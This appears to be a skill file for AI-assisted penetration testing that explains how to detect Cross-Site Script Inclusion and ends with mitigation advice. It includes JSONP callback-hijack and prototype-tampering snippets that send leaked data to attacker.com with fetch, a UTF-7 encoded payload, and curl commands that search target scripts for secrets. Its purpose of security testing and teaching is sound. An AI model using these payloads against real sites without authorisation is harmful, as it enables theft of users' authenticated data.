| name | xssi-cross-site-script-inclusion |
| description | How to detect and test for Cross-Site Script Inclusion (XSSI) vulnerabilities in web applications. Use this skill whenever you're doing web application security testing, penetration testing, or vulnerability assessment and need to check for XSSI issues. This includes testing for static JavaScript exposure, dynamic JavaScript with authentication, JSONP callback hijacking, and non-script file inclusion attacks. Make sure to use this skill when reviewing JavaScript endpoints, JSONP implementations, or any scenario where scripts might be loaded from different origins. |
XSSI (Cross-Site Script Inclusion) Testing
What is XSSI?
Cross-Site Script Inclusion (XSSI) is a vulnerability that exploits the fact that <script> tags are exempt from the Same-Origin Policy (SOP). While most resources cannot be loaded cross-origin, scripts can be included from different domains. This allows attackers to potentially read sensitive data embedded in JavaScript files or dynamically generated content.
When to Test for XSSI
Test for XSSI when you encounter:
- JavaScript files that might contain sensitive data
- JSONP endpoints or callback-based APIs
- Dynamic JavaScript generation based on user input or authentication
- CSV or other non-JS files served with JavaScript-like content
- Applications using ambient-authority authentication (cookies, tokens)
Detection Methods
1. Static JavaScript XSSI
What to look for:
- JavaScript files accessible without authentication that contain sensitive data
- Global variables with confidential information (API keys, tokens, user data)
- Hardcoded credentials or secrets in JS files
How to test:
curl -I https://target.com/path/to/script.js
curl https://target.com/path/to/script.js | grep -i "secret\|key\|token\|password"
Exploitation pattern:
<script src="https://vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>
2. Dynamic JavaScript with Authentication
What to look for:
- JavaScript endpoints that return different content based on authentication
- JSONP endpoints with callback parameters
- Dynamic content generation in script responses
How to test:
- Request the JavaScript endpoint without authentication
- Request the same endpoint with valid authentication (cookies, tokens)
- Compare the responses - differences may indicate sensitive data
Detection script:
curl -s https://target.com/api/data.js > unauth.js
curl -s -b "session=your_cookie" https://target.com/api/data.js > auth.js
diff unauth.js auth.js
JSONP callback hijacking:
<script>
var angular = function () { return 1 }
angular.callbacks = function () { return 1 }
angular.callbacks._7 = function (leaked) {
fetch('https://attacker.com/collect?data=' + encodeURIComponent(JSON.stringify(leaked)))
}
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
Alternative callback hijacking:
<script>
leak = function (leaked) {
fetch('https://attacker.com/collect?data=' + encodeURIComponent(JSON.stringify(leaked)))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
3. Prototype Tampering (Non-Global Variables)
What to look for:
- JavaScript that uses non-global variables for sensitive data
- Array or object manipulation that could be intercepted
How to test:
Array.prototype.slice = function () {
fetch('https://attacker.com/collect?data=' + encodeURIComponent(JSON.stringify(this)))
return []
}
4. Non-Script XSSI
What to look for:
- CSV, JSON, or other files that could be parsed as JavaScript
- UTF-7 encoded content that could execute scripts
- Files served with incorrect Content-Type headers
How to test:
<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>
UTF-7 encoded payload example:
;[
{
friend: "luke",
email: "+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]
Testing Workflow
Step 1: Reconnaissance
- Identify all JavaScript endpoints in the application
- Map JSONP callback parameters
- Find dynamically generated script content
- Check for authentication-protected JavaScript resources
Step 2: Initial Testing
- Access JavaScript files without authentication
- Search for sensitive keywords (keys, tokens, secrets, passwords)
- Compare authenticated vs unauthenticated responses
- Test JSONP callback parameters with custom functions
Step 3: Advanced Testing
- Attempt prototype tampering attacks
- Test UTF-7 encoding on JSON responses
- Try including non-JS files as scripts
- Check for CORS misconfigurations that enable XSSI
Step 4: Verification
- Confirm data can be read cross-origin
- Verify authentication tokens are included in requests
- Test data exfiltration to attacker-controlled endpoints
Mitigation Recommendations
When you find XSSI vulnerabilities, recommend:
- Remove sensitive data from JavaScript files - Never embed secrets, tokens, or PII in client-side code
- Use proper Content-Type headers - Ensure JSONP responses have
application/javascript not application/json
- Implement CORS properly - Use specific origins instead of
*
- Avoid JSONP - Use modern alternatives like CORS with proper authentication
- Use nonces or hashes - For dynamic script loading, validate script integrity
- Content Security Policy - Implement CSP to restrict script sources
Tools and Resources
- DetectDynamicJS - Burp extension for detecting dynamic JavaScript XSSI
- Browser DevTools - Network tab to inspect script requests and responses
- curl - For comparing authenticated vs unauthenticated responses
- Burp Suite - For intercepting and modifying script requests
References